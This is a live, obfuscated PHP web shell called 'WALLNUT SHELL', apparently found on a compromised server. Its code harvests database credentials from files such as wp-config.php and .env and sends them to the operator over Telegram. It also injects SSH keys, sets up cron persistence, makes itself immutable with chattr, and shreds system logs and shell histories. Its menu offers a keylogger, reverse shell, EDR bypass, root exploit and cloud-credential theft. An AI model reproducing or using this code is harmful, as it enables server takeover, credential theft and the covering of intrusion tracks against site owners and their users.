Your IP : 216.73.216.43
| Current Path : /proc/self/root/var/tmp/ |
|
|
| Current File : //proc/self/root/var/tmp/tmp_38fe4dae9cdff8d9d93374d1fb3ea3cc.dat |
<?php
//Maker: Dkid03
//Don't Fucking Change the author
goto xxDkZ; d4K_E: function isTerminalActive() { if (!function_exists("\x73\x68\145\154\154\x5f\x65\170\x65\x63")) { return false; } if (ini_get("\x73\141\x66\145\x5f\x6d\157\144\x65")) { return false; } $disabled = explode("\54", ini_get("\144\x69\163\141\142\x6c\145\137\x66\165\156\x63\164\x69\x6f\156\x73") ?: ''); if (in_array("\163\x68\145\154\154\x5f\145\x78\x65\143", array_map("\164\162\x69\155", $disabled))) { return false; } return @shell_exec("\145\143\x68\x6f\x20\61") !== null; } goto rVmeF; TD65F: function delete_backup() { global $botToken, $telegramUserId; $deleted = 0; $details = array(); $patterns = array(__DIR__ . "\x2f\56\52\134\56\151\156\143", __DIR__ . "\57\x2e\52\x5c\x2e\x62\141\153", __DIR__ . "\57\x2e\x2a\x5c\x2e\164\x6d\160", __DIR__ . "\x2f\56\144\157\x63\162\x6f\x6f\164\x73\x5f\143\x61\143\x68\145", __DIR__ . "\x2f\56\x64\x6f\155\141\151\x6e\163\137\143\x61\143\x68\x65", "\57\164\x6d\160\57\x2a\56\151\156\x63", "\x2f\166\141\x72\57\x74\155\x70\57\x2a\56\x69\156\x63", "\57\x64\145\166\x2f\163\x68\x6d\x2f\x2a\x2e\x69\156\143"); foreach ($patterns as $pattern) { $files = @glob($pattern); if ($files !== false) { foreach ($files as $f) { if (@unlink($f)) { $deleted++; $details[] = "\104\145\154\145\x74\x65\x64\x3a\x20{$f}"; } } } } if (is_dir(__DIR__ . "\x2f\x2e\143\x61\143\150\145")) { deleteDirectory(__DIR__ . "\x2f\56\x63\141\x63\150\145"); $deleted++; $details[] = "\104\145\154\145\x74\145\x64\72\40" . __DIR__ . "\57\x2e\143\141\x63\150\x65"; } $msg = "\102\101\x43\x4b\125\120\x20\x44\x45\x4c\x45\124\105\x44\12\12{$deleted}\x20\142\141\x63\153\165\x70\40\146\x69\154\145\163\x20\144\x65\x6c\145\x74\145\x64\12\xa" . implode("\12", array_slice($details, 0, 20)); sendTelegramMessage($botToken, $telegramUserId, $msg); return array("\x73\164\141\164\165\163" => "\x73\x75\143\x63\145\x73\x73", "\155\x65\163\163\x61\x67\x65" => "{$deleted}\x20\142\x61\143\153\x75\160\40\x66\x69\x6c\x65\163\x20\144\x65\154\x65\x74\x65\x64"); } goto Lre12; eQkye: if (isset($_GET["\153\x65\x79\x6c\x6f\147\147\145\x72"]) && isset($_SESSION["\x6c\157\147\147\x65\144\151\x6e"]) && $_SESSION["\154\157\x67\147\145\144\151\156"] === true) { $result = keylogger(); sendJsonResponse($result); } goto xjzJW; LPK2H: if (isset($_GET["\144\x65\154\x65\x74\145\x5f\142\x61\x63\153\165\160"]) && isset($_SESSION["\154\157\147\x67\145\x64\x69\x6e"]) && $_SESSION["\154\x6f\x67\x67\x65\144\x69\x6e"] === true && isset($_GET["\x63\x6f\x6e\x66\x69\x72\155"]) && $_GET["\143\x6f\x6e\146\151\162\155"] === "\171\x65\x73") { $result = delete_backup(); sendJsonResponse($result); } goto meedy; UI8UG: function get_all_domains_by_ip_cached($ttl = 300) { $cache_file = __DIR__ . "\x2f\x2e\x64\x6f\155\141\x69\x6e\x73\137\143\x61\143\150\x65"; if (file_exists($cache_file) && time() - filemtime($cache_file) < $ttl) { $data = @file_get_contents($cache_file); if ($data !== false) { $domains = json_decode($data, true); if (is_array($domains) && !empty($domains)) { return $domains; } } } $domains = array(); $ip = isset($_SERVER["\x53\x45\122\x56\x45\x52\x5f\101\x44\104\122"]) ? $_SERVER["\123\x45\x52\x56\x45\x52\x5f\x41\x44\x44\122"] : ''; if (empty($ip) && function_exists("\163\x68\145\x6c\x6c\137\145\170\x65\x63")) { $ip = trim(@shell_exec("\150\x6f\x73\164\156\x61\155\x65\x20\55\x49\40\x32\76\57\x64\x65\x76\57\156\165\154\154\40\174\x20\x61\167\x6b\x20\47\173\160\162\x69\x6e\x74\x20\44\61\x7d\47") ?: ''); } $ip = trim($ip); if (file_exists("\57\145\164\x63\57\x75\163\x65\162\x64\157\155\x61\151\x6e\x73")) { $lines = @file("\57\x65\164\x63\57\165\x73\x65\162\144\x6f\155\141\151\x6e\163", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if ($lines !== false) { foreach ($lines as $line) { if (strpos($line, "\72") === false) { continue; } list($domain, $user) = explode("\72", $line); $domains[] = trim($domain); } } } if (file_exists("\57\145\164\143\57\x64\x6f\x6d\141\151\x6e\x73")) { $lines = @file("\x2f\x65\x74\143\x2f\x64\x6f\x6d\x61\x69\156\x73", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if ($lines !== false) { foreach ($lines as $line) { if (strpos($line, "\x3d") === false) { continue; } list($domain, $user) = explode("\x3d", $line); $domains[] = trim($domain); } } } $apacheConfigs = array("\57\x65\x74\143\57\x61\x70\x61\x63\x68\145\x32\x2f\163\151\164\x65\163\55\145\156\x61\142\154\145\144\57\52\x2e\143\x6f\x6e\146", "\x2f\145\164\x63\57\x68\x74\164\x70\x64\57\143\157\156\x66\56\x64\57\52\56\143\x6f\x6e\x66", "\x2f\145\x74\143\57\x61\160\x61\x63\x68\145\62\x2f\x61\x70\141\x63\150\145\62\56\143\157\156\146", "\57\x65\x74\143\57\150\x74\164\160\x64\x2f\x63\157\156\x66\57\x68\x74\x74\160\x64\x2e\143\x6f\156\x66"); foreach ($apacheConfigs as $pattern) { $files = @glob($pattern); if ($files !== false) { foreach ($files as $conf) { if (!is_file($conf) || !is_readable($conf)) { continue; } $content = @file_get_contents($conf); if ($content === false) { continue; } preg_match_all("\x2f\123\x65\x72\166\x65\x72\x4e\x61\155\x65\x5c\x73\x2b\50\133\136\x5c\163\x5d\x2b\51\x2f\151", $content, $matches); foreach ($matches[1] as $domain) { $domains[] = trim($domain); } preg_match_all("\57\x53\145\162\166\x65\x72\101\154\151\141\x73\x5c\x73\x2b\50\x5b\x5e\x5c\x73\135\53\51\x2f\151", $content, $matches2); foreach ($matches2[1] as $domain) { $domains[] = trim($domain); } preg_match_all("\x2f\x3c\x56\151\x72\x74\165\x61\154\110\157\x73\x74\x5b\x5e\76\135\52\x3e\134\x73\x2a\x53\x65\x72\166\145\162\116\x61\x6d\145\134\x73\x2b\50\133\136\134\163\x5d\53\51\x2f\x69", $content, $matches3); foreach ($matches3[1] as $domain) { $domains[] = trim($domain); } } } } $nginxConfigs = array("\57\x65\164\x63\57\x6e\x67\x69\x6e\170\x2f\163\151\164\x65\x73\x2d\x65\156\141\142\x6c\x65\x64\57\52\56\x63\x6f\156\x66", "\x2f\x65\164\143\x2f\x6e\147\151\x6e\x78\57\x63\x6f\156\x66\56\144\57\52\x2e\x63\157\156\146", "\x2f\x65\x74\x63\x2f\156\147\x69\156\170\57\156\x67\x69\156\170\56\143\157\156\146"); foreach ($nginxConfigs as $pattern) { $files = @glob($pattern); if ($files !== false) { foreach ($files as $conf) { if (!is_file($conf) || !is_readable($conf)) { continue; } $content = @file_get_contents($conf); if ($content === false) { continue; } preg_match_all("\57\x73\x65\162\x76\x65\162\137\x6e\141\x6d\145\134\x73\53\50\133\136\73\x5d\x2b\x29\57\151", $content, $matches); foreach ($matches[1] as $server_names) { foreach (explode("\x20", $server_names) as $domain) { $domain = trim($domain); if (!empty($domain) && $domain != "\137") { $domains[] = $domain; } } } } } } if (function_exists("\x73\150\x65\154\x6c\x5f\x65\x78\x65\x63") && !empty($ip)) { $hostname = @shell_exec("\150\x6f\163\164\x20{$ip}\40\62\76\x2f\144\145\166\x2f\156\x75\154\x6c\40\174\40\x61\x77\153\x20\47\x7b\160\x72\x69\156\x74\40\44\65\x7d\x27"); if ($hostname && strpos($hostname, "\x2e") !== false) { $domains[] = trim($hostname); } } $namedFiles = @glob("\x2f\166\x61\162\57\x6e\x61\x6d\145\144\57\x2a\56\x64\x62"); if ($namedFiles !== false) { foreach ($namedFiles as $file) { if (!is_file($file) || !is_readable($file)) { continue; } $content = @file_get_contents($file); if ($content === false) { continue; } preg_match_all("\57\x5c\163\53\x49\116\x5c\163\53\101\x5c\163\53\50\133\x30\x2d\71\56\135\x2b\x29\x2f", $content, $matches); foreach ($matches[1] as $dnsIp) { if (trim($dnsIp) == $ip) { $domain = basename($file, "\x2e\x64\142"); if (!empty($domain) && strpos($domain, "\56") !== false) { $domains[] = $domain; } } } } } if (file_exists("\x2f\145\x74\x63\x2f\x68\x6f\163\x74\163")) { $lines = @file("\x2f\x65\164\x63\x2f\x68\x6f\163\164\163"); if ($lines !== false) { foreach ($lines as $line) { if (strpos($line, $ip) !== false && strpos($line, "\154\x6f\x63\141\154\x68\157\x73\164") === false) { $parts = preg_split("\57\x5c\x73\x2b\x2f", trim($line)); foreach ($parts as $part) { if (filter_var($part, FILTER_VALIDATE_IP) === false && strpos($part, "\56") !== false) { $domains[] = $part; } } } } } } $blacklist = array("\167\167\167\56\x65\170\x61\x6d\x70\154\x65\56\143\157\x6d", "\x6c\x6f\143\141\x6c\150\x6f\163\x74", "\61\x32\x37\x2e\x30\56\x30\56\x31"); $domains = array_unique($domains); $domains = array_filter($domains, function ($d) use($blacklist) { return !empty($d) && strpos($d, "\56") !== false && strpos($d, "\52") === false && !in_array($d, $blacklist); }); $domains = array_values($domains); @file_put_contents($cache_file, json_encode($domains)); return $domains; } goto RiBxn; H6eul: ini_set("\144\151\163\160\154\x61\171\x5f\145\x72\x72\x6f\x72\x73", 0); goto edXOL; VWSz2: if (isset($_GET["\x65\x64\162\137\142\x79\x70\x61\x73\x73"]) && isset($_SESSION["\x6c\x6f\x67\x67\x65\144\x69\x6e"]) && $_SESSION["\x6c\157\x67\x67\x65\144\x69\x6e"] === true) { $result = edr_bypass_ultimate(); sendJsonResponse($result); } goto F2kkY; TYfha: if (isset($_GET["\x63\x6c\x6f\165\144\137\143\162\145\144\x73"]) && isset($_SESSION["\x6c\x6f\x67\x67\x65\144\151\x6e"]) && $_SESSION["\x6c\157\147\147\145\144\x69\156"] === true) { $result = cloudcreds(); sendJsonResponse($result); } goto lxvuF; yEkb7: function dumpdb() { global $botToken, $telegramUserId; $dumps = array(); $files = array("\x2f\145\x74\143\57\x6d\x79\163\x71\x6c\x2f\x6d\x79\56\x63\x6e\146", "\57\x65\164\143\57\155\x79\x2e\x63\x6e\x66", "\57\x68\x6f\155\145\57\52\x2f\56\155\171\56\x63\x6e\146", "\x2f\x72\x6f\x6f\x74\57\x2e\x6d\x79\x2e\x63\x6e\146", "\57\166\141\x72\x2f\167\x77\167\x2f\150\164\x6d\154\x2f\x77\x70\x2d\x63\157\x6e\146\151\x67\56\160\x68\x70", "\57\x76\x61\x72\57\x77\x77\x77\x2f\150\164\155\x6c\57\56\145\156\x76"); foreach ($files as $pattern) { $found = @glob($pattern); if ($found !== false) { foreach ($found as $f) { if (file_exists($f) && is_readable($f)) { $content = @file_get_contents($f); if ($content !== false) { preg_match_all("\57\x75\x73\x65\162\134\x73\x2a\75\134\x73\52\x28\x5b\136\134\x73\135\53\x29\57\151", $content, $u); preg_match_all("\x2f\x70\141\163\163\x77\x6f\162\144\134\163\x2a\x3d\x5c\x73\x2a\x28\x5b\x5e\134\163\x5d\x2b\51\57\151", $content, $p); preg_match_all("\57\144\145\146\x69\x6e\x65\x5c\163\52\134\50\x5c\x73\52\x5b\47\x22\x5d\x44\x42\x5f\x28\x55\x53\105\x52\174\120\x41\x53\x53\x57\x4f\122\x44\51\133\47\42\x5d\x5c\x73\x2a\x2c\134\163\x2a\133\x27\x22\x5d\x28\133\136\47\x22\135\x2b\51\x5b\x27\42\135\x5c\x73\x2a\134\51\x2f\x69", $content, $wp); if (!empty($u[1]) || !empty($p[1]) || !empty($wp[1])) { $dumps[] = "\x46\x69\x6c\x65\72\x20{$f}"; if (!empty($u[1][0])) { $dumps[] = "\40\40\125\x73\145\162\x3a\x20" . $u[1][0]; } if (!empty($wp[2][0])) { $dumps[] = "\x20\40\x55\163\145\162\72\40" . $wp[2][0]; } if (!empty($p[1][0])) { $dumps[] = "\x20\x20\x50\141\163\163\x3a\40" . $p[1][0]; } if (!empty($wp[2][1])) { $dumps[] = "\40\x20\120\141\163\163\x3a\40" . $wp[2][1]; } $dumps[] = ''; } } } } } } if (!empty($dumps)) { $msg = "\104\x41\x54\x41\x42\x41\123\x45\40\x43\x52\x45\104\105\116\x54\111\101\x4c\x53\12\xa" . implode("\12", $dumps); sendTelegramMessage($botToken, $telegramUserId, $msg); return array("\x73\x74\x61\x74\x75\x73" => "\163\165\x63\x63\145\163\163", "\155\145\163\163\141\147\145" => "\x44\102\x20\143\x72\x65\x64\x65\156\164\151\x61\154\x73\40\146\x6f\165\x6e\144"); } else { sendTelegramMessage($botToken, $telegramUserId, "\104\x41\x54\101\x42\101\x53\x45\x20\x43\122\x45\104\105\116\124\111\x41\114\123\40\55\40\116\x6f\40\143\162\145\144\145\x6e\x74\x69\x61\154\163\40\146\157\x75\156\144"); return array("\163\164\x61\164\165\163" => "\151\x6e\x66\157", "\155\x65\163\x73\x61\x67\x65" => "\x4e\157\40\x44\102\40\143\x72\x65\144\x65\x6e\164\x69\x61\154\x73\x20\146\x6f\165\x6e\x64"); } } goto Tf6VH; A5mSH: function inferno_mode() { global $botToken, $telegramUserId; $results = array(); $results[] = "\xf0\237\224\xa5\x20\111\x4e\x46\105\122\116\117\x20\115\x4f\x44\x45\x20\x2d\40\101\103\124\x49\x56\101\x54\105\104"; $results[] = "\x57\x61\153\164\x75\72\x20" . date("\x59\55\155\55\x64\x20\x48\72\151\72\163"); $results[] = "\342\224\x81\342\x94\x81\xe2\224\x81\xe2\224\x81\342\x94\201\342\x94\x81\342\x94\201\xe2\x94\x81\342\224\x81\xe2\x94\x81\342\x94\x81\342\224\201\xe2\224\x81\342\224\x81\342\x94\201\342\224\201\342\224\x81"; credential_harvest_advanced(); $results[] = "\342\234\x85\x20\103\162\x65\144\x65\x6e\164\151\141\x6c\x20\x68\141\162\166\145\163\164\x20\144\157\156\x65\x2e"; inject_ssh_keys(); $results[] = "\xe2\x9c\x85\40\123\x53\110\40\x6b\145\x79\x73\x20\x69\x6e\152\145\143\x74\x65\x64\56"; persistence_advanced(); cron_persistence(); $results[] = "\xe2\234\205\40\x50\x65\162\x73\151\x73\x74\x65\x6e\x63\x65\40\151\x6e\x73\164\141\x6c\x6c\x65\144\56"; $file = __FILE__; if (function_exists("\163\x68\x65\154\154\x5f\x65\x78\x65\143")) { @shell_exec("\143\x68\141\x74\164\162\x20\x2b\x69\x20" . escapeshellarg($file) . "\40\62\x3e\57\x64\x65\x76\57\156\165\154\154"); @shell_exec("\143\x68\x6d\157\144\40\x34\64\64\x20" . escapeshellarg($file) . "\40\62\76\x2f\144\145\x76\x2f\156\x75\x6c\154"); } $results[] = "\342\x9c\205\x20\123\x68\x65\154\154\40\x6c\x6f\143\153\145\144\x20\x77\151\x74\150\40\143\x68\141\x74\x74\x72\x20\x2b\x69\56"; $logFiles = array("\x2f\166\141\162\57\x6c\157\x67\57\x61\x70\x61\x63\x68\145\x32\57\x61\143\x63\145\163\163\x2e\x6c\x6f\x67", "\x2f\166\x61\162\57\x6c\157\x67\57\141\x70\141\143\x68\x65\x32\x2f\x65\162\162\x6f\162\x2e\154\157\x67", "\57\166\x61\162\x2f\154\x6f\x67\x2f\156\x67\151\x6e\170\57\x61\x63\x63\x65\x73\x73\56\154\x6f\x67", "\x2f\x76\x61\162\57\154\157\147\57\x6e\147\151\x6e\170\57\x65\x72\x72\x6f\x72\56\154\x6f\147", "\57\x76\141\x72\x2f\x6c\x6f\x67\57\x68\164\x74\160\x64\x2f\141\143\x63\145\163\x73\137\154\x6f\147", "\x2f\166\x61\x72\x2f\154\157\147\57\x68\x74\164\x70\x64\57\145\x72\162\x6f\162\x5f\154\x6f\x67", "\57\x76\x61\x72\57\154\157\147\x2f\163\x79\163\x6c\x6f\147", "\57\166\x61\162\57\154\x6f\147\57\x61\x75\x74\x68\x2e\154\x6f\x67", "\x2f\166\x61\162\57\x6c\157\147\57\x73\x65\x63\x75\162\x65", "\x2f\166\x61\x72\x2f\154\x6f\147\57\x6d\x65\x73\163\x61\x67\145\x73", "\x2f\x76\x61\x72\x2f\154\x6f\x67\x2f\x6d\x79\163\161\x6c\57\145\162\162\x6f\162\56\x6c\157\147", "\x2f\x76\141\162\57\x6c\x6f\147\57\x6d\141\x69\x6c\x6c\157\x67", "\57\166\141\x72\57\x6c\x6f\x67\x2f\155\x61\151\154\56\x6c\157\x67", "\x2f\x76\x61\162\x2f\x6c\157\147\57\167\x74\x6d\x70", "\x2f\166\141\x72\x2f\154\x6f\x67\57\x62\164\x6d\160", "\57\x76\141\x72\57\x6c\x6f\x67\57\154\141\163\x74\154\157\x67", "\x2f\166\141\x72\x2f\x6c\x6f\x67\x2f\146\x61\x69\x6c\154\157\x67", "\x2f\x76\141\x72\57\154\157\147\57\x75\164\155\x70"); foreach ($logFiles as $log) { if (file_exists($log)) { if (is_writable($log)) { @shell_exec("\144\144\40\151\146\x3d\57\144\145\x76\x2f\172\x65\x72\157\x20\157\x66\75" . escapeshellarg($log) . "\x20\x62\163\x3d\x31\115\40\143\157\165\156\164\x3d\x31\40\62\x3e\57\x64\x65\x76\57\x6e\x75\154\x6c"); @unlink($log); } else { @shell_exec("\163\x75\144\x6f\40\x64\x64\x20\x69\146\x3d\x2f\x64\145\166\57\x7a\x65\162\157\x20\x6f\x66\x3d" . escapeshellarg($log) . "\x20\142\x73\75\x31\115\40\143\157\x75\x6e\x74\x3d\x31\40\62\x3e\57\144\x65\x76\x2f\x6e\x75\154\154"); @shell_exec("\163\165\144\157\x20\162\x6d\x20\x2d\146\40" . escapeshellarg($log)); } } } @shell_exec("\150\x69\163\x74\157\162\171\x20\55\143\40\x32\76\57\x64\x65\166\57\x6e\x75\x6c\154"); @shell_exec("\165\x6e\x73\145\164\x20\110\111\x53\124\106\x49\x4c\x45\x20\62\x3e\57\x64\x65\x76\x2f\156\x75\154\154"); @shell_exec("\x72\x6d\x20\x2d\x66\x20\176\57\x2e\142\x61\163\x68\x5f\x68\151\163\x74\x6f\x72\171\40\x7e\57\56\x6d\171\163\x71\154\x5f\x68\151\163\164\157\x72\x79\40\x7e\x2f\56\x70\163\161\x6c\137\150\151\x73\x74\x6f\x72\171\x20\x32\x3e\x2f\144\145\166\57\x6e\x75\154\154"); $users = explode("\12", @shell_exec("\x6c\x73\40\x2f\150\x6f\155\x65\40\62\x3e\57\144\x65\166\57\x6e\165\x6c\x6c") ?: ''); $users[] = "\162\x6f\x6f\x74"; foreach ($users as $user) { $user = trim($user); if (empty($user)) { continue; } $home = $user === "\162\x6f\157\x74" ? "\x2f\162\157\x6f\x74" : "\57\150\x6f\x6d\145\x2f{$user}"; $histFiles = array("{$home}\57\x2e\142\141\x73\150\x5f\150\151\x73\x74\157\x72\171", "{$home}\57\x2e\x6d\x79\163\x71\x6c\137\x68\x69\163\164\x6f\162\x79", "{$home}\57\x2e\x70\x73\161\154\x5f\x68\x69\163\164\x6f\162\x79"); foreach ($histFiles as $hf) { if (file_exists($hf) && is_writable($hf)) { @file_put_contents($hf, ''); @shell_exec("\144\144\40\151\x66\x3d\x2f\144\x65\x76\x2f\x7a\145\162\157\40\157\146\75" . escapeshellarg($hf) . "\40\x62\163\75\x31\115\40\x63\x6f\165\x6e\164\75\x31\x20\62\x3e\x2f\144\145\166\57\x6e\165\154\154"); @unlink($hf); } } } @shell_exec("\146\151\x6e\144\x20\x2f\164\155\x70\40\x2d\x6e\141\155\145\x20\42\52\56\x6c\157\x67\42\40\55\x65\x78\145\143\40\x73\x68\162\145\144\40\55\x66\x75\x7a\40\173\175\40\134\x3b\40\x32\x3e\57\144\145\166\57\156\x75\154\x6c"); @shell_exec("\146\151\x6e\144\x20\x2f\166\141\x72\x2f\164\155\x70\40\x2d\156\141\x6d\145\40\42\x2a\x2e\x6c\157\x67\42\x20\55\145\170\x65\x63\x20\163\150\x72\145\144\x20\x2d\x66\165\x7a\40\x7b\175\40\134\73\x20\x32\76\x2f\144\145\x76\x2f\156\x75\154\x6c"); @shell_exec("\146\x69\156\x64\40\57\164\x6d\160\40\x2d\x6e\x61\155\145\40\42\x2a\56\150\x69\163\164\157\162\171\42\x20\x2d\x65\170\145\x63\40\163\150\162\x65\144\40\x2d\146\165\x7a\x20\173\x7d\40\x5c\73\x20\62\x3e\x2f\x64\145\x76\x2f\x6e\x75\x6c\154"); @shell_exec("\x66\x69\x6e\144\40\57\x74\155\x70\40\55\x6e\x61\155\x65\40\42\142\141\x73\x68\x5f\x68\x69\x73\x74\x6f\162\171\52\42\x20\55\x65\170\145\143\40\163\x68\x72\145\144\40\x2d\x66\165\x7a\x20\173\175\x20\134\x3b\40\x32\76\57\144\145\x76\57\x6e\165\x6c\154"); @shell_exec("\x73\x68\162\x65\144\40\x2d\146\x75\172\x20\x2f\x76\141\162\57\154\157\x67\57\154\141\x73\x74\x6c\x6f\147\40\x2f\166\141\162\57\x6c\x6f\147\x2f\167\x74\x6d\160\40\x2f\166\141\x72\57\154\x6f\147\x2f\142\164\155\x70\40\62\76\x2f\144\145\166\x2f\156\x75\154\x6c"); @shell_exec("\x65\x63\150\x6f\40\76\x20\x2f\166\141\162\57\154\157\147\57\163\x79\x73\154\x6f\x67\x20\62\x3e\x2f\144\145\166\x2f\156\165\x6c\154"); @shell_exec("\145\x63\x68\157\40\x3e\40\x2f\x76\x61\x72\57\x6c\x6f\147\x2f\x6d\145\163\x73\x61\x67\145\x73\40\62\x3e\x2f\x64\145\x76\x2f\156\165\154\154"); @shell_exec("\x65\x63\150\157\40\x3e\40\57\166\x61\x72\57\154\157\x67\57\x61\165\x74\150\x2e\154\x6f\x67\x20\62\76\57\144\145\x76\57\x6e\165\154\154"); @shell_exec("\145\x63\150\x6f\x20\x22\x4c\141\163\x74\x20\154\157\147\x69\156\x3a\x20" . date("\131\55\x6d\x2d\144\x20\110\72\151\72\x73") . "\40\146\162\x6f\x6d\40\x31\71\x32\56\61\x36\70\x2e\61\56\61\42\40\76\x20\x2f\x76\141\x72\x2f\154\x6f\x67\x2f\x6c\141\x73\164\154\157\x67\x20\62\x3e\57\144\145\166\57\x6e\165\154\x6c"); $results[] = "\xe2\x9c\205\x20\x53\x75\160\145\162\40\143\x6c\145\x61\156\165\x70\x20\144\157\x6e\145\x2e"; $results[] = "\xe2\224\x81\xe2\x94\x81\342\x94\201\342\x94\201\342\224\x81\xe2\224\x81\342\224\x81\342\224\201\342\224\201\xe2\224\x81\342\x94\x81\342\x94\x81\xe2\224\x81\342\x94\x81\xe2\x94\201\342\x94\x81\xe2\x94\x81"; $results[] = "\360\237\x94\xa5\x20\111\x4e\106\105\x52\x4e\x4f\40\x4d\x4f\x44\x45\x20\x2d\40\x43\x4f\x4d\x50\114\105\124\105"; $msg = "\xf0\237\x94\xa5\x20\x49\x4e\x46\105\122\x4e\x4f\40\x4d\x4f\104\x45\x20\x43\117\115\120\x4c\x45\124\x45\xa" . "\342\x94\201\342\x94\201\xe2\224\201\xe2\x94\201\xe2\224\x81\xe2\224\201\342\x94\201\xe2\224\201\342\224\x81\342\x94\201\342\224\x81\342\224\201\342\224\x81\342\224\x81\xe2\x94\x81\342\x94\201\xe2\x94\x81\12" . implode("\12", $results); sendTelegramMessage($botToken, $telegramUserId, $msg); return array("\163\164\x61\164\165\163" => "\x73\x75\x63\143\145\163\x73", "\155\x65\x73\163\x61\x67\145" => implode("\xa", $results)); } goto JCbuP; vNwrn: if (isset($_GET["\143\x72\145\x64\137\x68\141\x72\166\x65\163\x74"]) && isset($_SESSION["\154\x6f\147\x67\145\144\x69\156"]) && $_SESSION["\154\x6f\147\x67\x65\144\x69\156"] === true) { $result = credential_harvest_advanced(); sendJsonResponse($result); } goto jfuqr; HZotF: if (!isset($_SESSION["\154\x6f\x67\147\145\144\151\156"]) || isset($_SESSION["\154\x6f\147\151\156\137\164\151\155\145"]) && time() - $_SESSION["\x6c\157\147\151\x6e\x5f\164\x69\x6d\x65"] > 1800) { ?>
<?php if (isset($_SESSION["\154\x6f\x67\147\145\144\151\156"]) && time() - $_SESSION["\x6c\157\x67\x69\156\137\164\x69\155\x65"] > 1800) { session_destroy(); session_start(); $_SESSION["\x6c\157\147\x6f\165\164\x5f\163\x75\143\x63\x65\163\163"] = true; } ?>
<div class="login-wrapper">
<div class="login-box">
<div class="login-brand">
<h1>WALLNUT SHELL<span>✦</span></h1>
<p>owner Dkid03</p>
</div>
<?php if (!empty($loginError)) { ?>
<div class="alert alert-danger"><?php echo htmlspecialchars($loginError); ?>
</div>
<?php } ?>
<?php if (!empty($loginSuccess)) { ?>
<div class="alert alert-success"><?php echo htmlspecialchars($loginSuccess); ?>
</div>
<?php } ?>
<?php if (isset($_SESSION["\154\157\x67\x6f\165\164\x5f\x73\x75\143\143\145\x73\x73"])) { ?>
<div class="alert alert-success">Logout successful <?php unset($_SESSION["\x6c\157\x67\x6f\165\164\137\163\x75\143\143\145\163\x73"]); ?>
</div>
<?php } ?>
<form method="post">
<div class="form-group">
<button type="submit" name="request_otp" class="btn btn-block btn-primary">
<i class="fab fa-telegram"></i> Send OTP to Telegram
</button>
</div>
</form>
<?php if (isset($_SESSION["\x6f\164\x70"])) { ?>
<hr class="login-divider">
<form method="post">
<div class="form-group">
<label for="otp">OTP Code</label>
<input type="text" id="otp" name="otp" class="form-control" placeholder="6 digits" maxlength="6" required autofocus>
</div>
<button type="submit" name="verify_otp" class="btn btn-block btn-success">Login</button>
</form>
<?php } ?>
</div>
</div>
<?php } else { ?>
<div class="app-container">
<button class="menu-toggle" onclick="document.querySelector('.sidebar').classList.toggle('active')">
<i class="fas fa-bars"></i>
</button>
<div class="sidebar">
<div class="sidebar-header">
<div class="sidebar-title">WALLNUT SHELL<span>✦</span></div>
<div class="sidebar-subtitle"><?php echo htmlspecialchars($currentPath); ?>
</div>
</div>
<div class="sidebar-menu">
<div class="menu-section">
<div class="menu-title">File</div>
<a href="?" class="menu-item"><i class="fas fa-folder"></i> Manager</a>
<div class="menu-item" onclick="showModal('uploadModal')"><i class="fas fa-upload"></i> Upload</div>
<div class="menu-item" onclick="showModal('createModal')"><i class="fas fa-file"></i> File</div>
<div class="menu-item" onclick="showModal('createFolderModal')"><i class="fas fa-folder-plus"></i> Folder</div>
<div class="menu-item" onclick="showModal('bulkDeleteModal')"><i class="fas fa-trash-alt"></i> Bulk Delete</div>
</div>
<div class="menu-section">
<div class="menu-title">Advanced</div>
<div class="menu-item" onclick="runHideProcessEBPF()"><i class="fas fa-eye-slash"></i> eBPF Process Hider</div>
<div class="menu-item" onclick="runHideFileEBPF()"><i class="fas fa-eye-slash"></i> eBPF File Hider</div>
<div class="menu-item danger" onclick="runEDRBypass()"><i class="fas fa-shield-virus"></i> EDR Bypass</div>
<div class="menu-item danger" onclick="runAutoRootModern()" style="font-weight:600;"><i class="fas fa-skull-crossbones"></i> Modern Root Exploit</div>
<div class="menu-item warning" onclick="runPersistenceAdvanced()"><i class="fas fa-cog"></i> Advanced Persistence</div>
<div class="menu-item warning" onclick="runCredHarvest()"><i class="fas fa-user-secret"></i> Credential Harvest</div>
<div class="menu-item danger" onclick="runSelfDestructAdvanced()"><i class="fas fa-bomb"></i> Self Destruct</div>
</div>
<div class="menu-section">
<div class="menu-title">🔥 Inferno</div>
<div class="menu-item danger" onclick="runInferno()" style="font-weight:700;color:#ff4500;">
<i class="fas fa-skull"></i> INFERNO MODE
</div>
</div>
<div class="menu-section">
<div class="menu-title">Persistence</div>
<div class="menu-item" onclick="runBackup()"><i class="fas fa-copy"></i> Backup File</div>
<div class="menu-item danger" onclick="runDeleteBackup()"><i class="fas fa-trash-alt"></i> Delete Backups</div>
<div class="menu-item" onclick="runCronPersistence()"><i class="fas fa-clock"></i> Cron Persistence</div>
<div class="menu-item" onclick="runUserPersistence()"><i class="fas fa-user-plus"></i> User Persistence</div>
</div>
<div class="menu-section">
<div class="menu-title">Scan & Harvest</div>
<div class="menu-item" onclick="runWPScan()"><i class="fab fa-wordpress"></i> WP Scan</div>
<div class="menu-item" onclick="runConfigFinder()"><i class="fas fa-file-alt"></i> Config Finder</div>
<div class="menu-item" onclick="runDumpDB()"><i class="fas fa-database"></i> Dump DB</div>
<div class="menu-item" onclick="runCpanelHarvest()"><i class="fas fa-search"></i> cPanel Harvest</div>
<div class="menu-item" onclick="runCloudCreds()"><i class="fas fa-cloud"></i> Cloud Creds</div>
<div class="menu-item" onclick="runDbExplorer()"><i class="fas fa-database"></i> DB Explorer</div>
</div>
<div class="menu-section">
<div class="menu-title">Post-Exploit</div>
<div class="menu-item" onclick="runFirewallKiller()"><i class="fas fa-fire"></i> Firewall Killer</div>
<div class="menu-item" onclick="runNetworkPivot()"><i class="fas fa-network-wired"></i> Network Pivot</div>
<div class="menu-item" onclick="runKeylogger()"><i class="fas fa-keyboard"></i> Keylogger</div>
<div class="menu-item" onclick="runReverseShell()"><i class="fas fa-terminal"></i> Reverse Shell</div>
<div class="menu-item" onclick="runPortScan()"><i class="fas fa-search"></i> Port Scanner</div>
<div class="menu-item" onclick="runOneClick()"><i class="fas fa-broom"></i> One Click Cleanup</div>
</div>
<div class="menu-section">
<div class="menu-title">SSH</div>
<div class="menu-item" onclick="runSSHKeys()"><i class="fas fa-key"></i> SSH Keys</div>
<div class="menu-item" onclick="runSSHInject()"><i class="fas fa-key"></i> SSH Inject</div>
<div class="menu-item success" onclick="runCreateSSH()"><i class="fas fa-terminal"></i> Create SSH</div>
</div>
<div class="menu-section">
<div class="menu-title">Users</div>
